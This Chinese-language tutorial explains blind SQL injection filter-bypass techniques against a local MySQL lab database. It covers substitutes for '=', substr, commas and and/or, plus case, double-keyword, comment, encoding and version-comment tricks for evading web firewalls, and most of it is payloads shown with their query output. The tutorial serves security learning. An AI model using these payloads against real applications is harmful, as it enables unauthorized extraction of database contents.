本节的环境配置:
数据库语言:MySQL
数据库信息:
mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.01 sec)
users表信息(部分):
mysql> select * from users;
+----+-----------+------------+
| id | username | password |
+----+-----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
常见的过滤措施:
过滤等号 |
过滤substr, mid |
过滤逗号 |
过滤 and/for |
一.等号被过滤:
1.使用>,<,<>
使用的payload:
and ascii(substr(database(),1,1))>xxx
借助大于号和小于号,我们可以逐步缩小范围,最终确定数据库名,以下以得到数据库第一个字母s为例 :
(ascii十进制编码为115)(具体实战中我们需要借助Burp Suite的爆破功能,这里直接在命令行中进行演示,方便大家理解思路,明析原理🌝):
1.1借助大于号:
mysql> select * from users where id=1 and ascii(substr(database(),1,1))>114;
+----+----------+----------+
| id | username | password | 结果显示大于114,不大于115,ascii码为115,
+----+----------+----------+
| 1 | Dumb | Dumb | 确定数据库第一个字母为s
+----+----------+----------+
1 row in set (0.03 sec)
mysql> select * from users where id=1 and ascii(substr(database(),1,1))>115;
Empty set (0.00 sec)
1.2借助小于号:
mysql> select * from users where id=1 and ascii(substr(database(),1,1))<115;
Empty set (0.01 sec)
mysql> select * from users where id=1 and ascii(substr(database(),1,1))<116;
+----+----------+----------+
| id | username | password | 结果显示不小于115,且小于116,ascii码为115
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
1.3借助不等于号:
注:<>为不等于的意思相当于!=
mysql> select * from users where id=1 and ascii(substr(database(),1,1))<>114;
+----+----------+----------+
| id | username | password | 不等于114为True
+----+----------+----------+ 不等于115为false
| 1 | Dumb | Dumb | 不等于116为True
+----+----------+----------+ 说明ascii码为115
1 row in set (0.03 sec)
mysql> select * from users where id=1 and ascii(substr(database(),1,1))<>115;
Empty set (0.00 sec)
mysql> select * from users where id=1 and ascii(substr(database(),1,1))<>116;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
2. 采用like,rlike语句
拓展:MySQL中like与rlike的区别
在MySQL中,"LIKE"和"RLIKE"是用于模式匹配的两种不同的操作符。
LIKE操作符:
LIKE操作符用于在WHERE子句中进行模糊匹配。它使用简单的通配符来表示模式,
通常是百分号(%)和下划线(_)。
百分号表示任意字符的任意数量,而下划线表示单个任意字符。
例如:
SELECT * FROM table_name WHERE column_name LIKE 'a_c%';
上述查询将返回以"a"开头,第二个字符是任意字符,然后是"c"开头的所有匹配行
RLIKE操作符:
RLIKE操作符用于在WHERE子句中进行正则表达式匹配。它使用正则表达式语法来表示模式。
例如:
SELECT * FROM table_name WHERE column_name RLIKE '^a.*c$';
上述查询将返回以"a"开头,以"c"结尾的所有匹配行。
在正则表达式中,"^"表示行的开头,"."表示除换行符之外的任意字符,
"*"表示前一个字符的零个或多个重复,"$"表示行的结尾。
2.1使用like语句:
mysql> select * from users where id=1 and database() like "s%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.03 sec)
mysql> select * from users where id=1 and database() like "se%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
2.1使用rlike语句:
mysql> select * from users where id=1 and database() rlike "^se";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.04 sec)
mysql> select * from users where id=1 and database() rlike "^sec.";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
3.采用regexp,in,between
拓展:MySQL中regexp与rlike的区别
在MySQL中,REGEXP和RLIKE实际上是相同的操作符,
用于正则表达式匹配。
它们都可以在WHERE子句中使用,以便根据模式匹配筛选数据。
SELECT * FROM table_name WHERE column_name REGEXP '^abc';
等同于:
SELECT * FROM table_name WHERE column_name RLIKE '^abc';
3.1使用regexp:
mysql> select * from users where id=1 and database() regexp "^sec.";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.03 sec)
拓展:MySQL中in与instr的区别
IN操作符:
IN操作符用于判断某个值是否在指定的集合中。它接受两个参数,
第一个参数是待检查的值,第二个参数是用逗号分隔的值列表。
语法如下:
SELECT column_name(s) FROM table_name WHERE column_name IN (value1, value2, ...);
INSTR函数:
INSTR函数用于在一个字符串中查找另一个子字符串的位置。
它接受两个参数,第一个参数是要搜索的字符串,第二个参数是要查找的子字符串。
语法如下:
INSTR(string, substring)
例如,要在字符串"Hello,world!"中查找子字符串"world"的位置,可以使用以下查询:
SELECT INSTR('Hello,world!', 'world');
这将返回值为8,因为子字符串"world"在字符串中的位置是8(从1开始计数)。
3.2使用in或instr:
3.2.1使用in:
mysql> select * from users where id=1 and database() in ('security');
+----+----------+----------+
| id | username | password | 这里就只能使用字典爆破整个数据库名了,
+----+----------+----------+ 不能再一个一个的试了>﹏<
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
3.2.2使用instr:
mysql> select * from users where id=1 and instr(database(),'s') in (1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and instr(database(),'e') in (2);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
3.3使用between:
mysql> select * from users where id=1 and substr(database(),1,1) between 's' and 's';
+----+----------+----------+
| id | username | password | 在's'和's'之间当然就是's'啦o(* ̄▽ ̄*)o
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.02 sec)
二.substr, mid等被过滤
1.使用locate:
locate(str1,str2)
返回str1字符串在str2里第一次出现的位置,没有返回0
mysql> select locate('b','abc');
+-------------------+
| locate('b','abc') |
+-------------------+
| 2 |
+-------------------+
1 row in set (0.03 sec)
mysql> select locate('bc','abc');
+--------------------+
| locate('bc','abc') |
+--------------------+
| 2 |
+--------------------+
1 row in set (0.00 sec)
Locate(str1,str2,pos)
返回str1字符串在str2里pos(起始位置)出现的位置,没有返回0
pos必须大于第一次出现的位置,才能显示第二次出现的位置
mysql> select locate('a','hahaha',2)=2;
+--------------------------+
| locate('a','hahaha',2)=2 | 从'hahaha'的第二位开始,a出现的位置为2,
+--------------------------+
| 1 | 那么a第二次出现的位置为4! ……]((o_ _)'彡☆
+--------------------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and locate('s',database()) in (1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
2.使用position
position的用法与locate类似:and position('s' in database())=1
返回str1字符串在str2出现的位置,没有则返回0。
mysql> select * from users where id=1 and position('s' in database()) in (1);
+----+----------+----------+
| id | username | password | 注意括号里是's' in database()
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
3.使用lpad和rpad:
在MySQL中,LPAD函数用于在一个字符串的左侧填充指定的字符。它的语法如下:
LPAD(string, length, pad_string)
参数说明:
string:要进行填充的原始字符串。
length:指定返回的字符串的总长度。如果提供的长度小于原始字符串的长度,
则函数将返回原始字符串。
pad_string:用于填充原始字符串的字符或字符串。
下面是一个使用LPAD函数的示例:
mysql> select lpad('Hello',10,'!');
+----------------------+
| lpad('Hello',10,'!') |
+----------------------+
| !!!!!Hello |
+----------------------+
1 row in set (0.00 sec)
在这个示例中,我们将字符串 'Hello' 用!字符进行填充,
使其总长度达到 10。原始字符串本身只有5个字符,因此左侧会添加5个!来达到总长度10。
与lpad相对应的还有rpad,它用于在一个字符串的右侧填充指定的字符:
mysql> select rpad('Hello',10,'!');
+----------------------+
| rpad('Hello',10,'!') |
+----------------------+
| Hello!!!!! |
+----------------------+
1 row in set (0.03 sec)
但是如果我们像下面这样操作的话,就会得到意想不到的结果:
mysql> select lpad(database(),1,0)="s";
+--------------------------+
| lpad(database(),1,0)="s" |
+--------------------------+
| 1 | 震惊!居然可以用来判断数据库名的第一位是否为s!
+--------------------------+
1 row in set (0.01 sec)
mysql> select lpad(database(),4,0)="secu";
+-----------------------------+
| lpad(database(),4,0)="secu" |
+-----------------------------+
| 1 |
+-----------------------------+
1 row in set (0.02 sec)
mysql> select * from users where id=1 and lpad(database(),1,0) in ('s');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.02 sec)
三.逗号被过滤
1.使用from xx for xx 或 from(xx)
在substr()和mid()中:
and substr(database(),1,1)='s';
等同于
andsubstr(database()from 1 for 1)='s';
mysql> select * from users where id=1 and substr(database()from 1 for 1)='s';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.03 sec)
注意,像if(1=1,1,0)这样的语句不能使用from for 的形式,这种形式大多用于mid()和substr():
mysql> select if(1=1 from 1 for 0);
ERROR 1064 (42000): You have an error in your SQL syntax;
check the manual that corresponds to your
MySQL server version for the right syntax
to use near 'from 1 for 0)' at line 1
这个时候可以使用case when来代替:
mysql> select if(substr(database(),1,1)='s',1,0);
+------------------------------------+
| if(substr(database(),1,1)='s',1,0) |
+------------------------------------+
| 1 | 如果这里逗号被过滤掉了,就要用下面的语句:
+------------------------------------+
1 row in set (0.00 sec)
mysql> select case when substr(database()from 1 for 1)='s' then 1 else 0 end;
+----------------------------------------------------------------+
| case when substr(database()from 1 for 1)='s' then 1 else 0 end |
+----------------------------------------------------------------+
| 1 |
+----------------------------------------------------------------+
1 row in set (0.00 sec)
四.and/or被过滤
在mysql中 and与or 是可以用 &&和||相互代替的
如: and 1=1 ->&& 1=1 or 1=1 ->||1=1
不过在oracle中,||为拼接字符,如:’a’||’b’->’ab’,相当于mysql中的concat()
使用like:
注意这里的like需要结合判断语句使用!Ψ( ̄∀ ̄)Ψ
mysql> select * from users where id=1 like+if(substr(database(),1,1)='s',1,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.02 sec)
mysql> select * from users where id=1 like+if(substr(database(),1,1)='a',1,0);
Empty set (0.00 sec)
五.其他常见绕过方式:
大小写绕过,如User(),dAtaBASE(),SelEct等。 |
只过滤一次时,双重关键字绕过,如selselectect,ununionion,oorr等。 |
and/or+空格被替换为空时,andand+空格(oror+空格)绕过。 |
注释符绕过,//, -- , /**/, #, --+, -- -, ;,%00,--a,/*!*/。 |
编码绕过:如URLEncode编码,ASCII,HEX,unicode编码绕过。 等等...... |
这些方式中有两条非常有趣,我们在这里拓展研究一波:ε=ε=ε=(~ ̄▽ ̄)~
/**/可以代替空格:
mysql> select/**/database();
+------------+
| database() |
+------------+
| security |
+------------+
1 row in set (0.02 sec)
/*!语句*/ 语句不会被注释而被执行:
mysql> select /*!user()*/;
+----------------+
| user() | 防火墙会认为/**/中的内容被注释掉了,但加上!后,语句照样会执行!
+----------------+
| root@localhost | 这样可能会达到绕过防火墙的效果
+----------------+
1 row in set (0.02 sec)
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 8.0.12 |
+-----------+
1 row in set (0.00 sec)
mysql> select /*!8000user()*/; 版本号其实是8.0.120五位数字
ERROR 1305 (42000): FUNCTION security.8000user does not exist
mysql> select /*!80000user()*/; !后接的五位数小于版本号时,user()依旧会被执行
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select /*!88000user()*/; !后接的五位数大于版本号时,user()不会被执行
ERROR 1064 (42000): You have an error in your SQL syntax;
check the manual that corresponds to
your MySQL server version for the right syntax to use near '' at line 1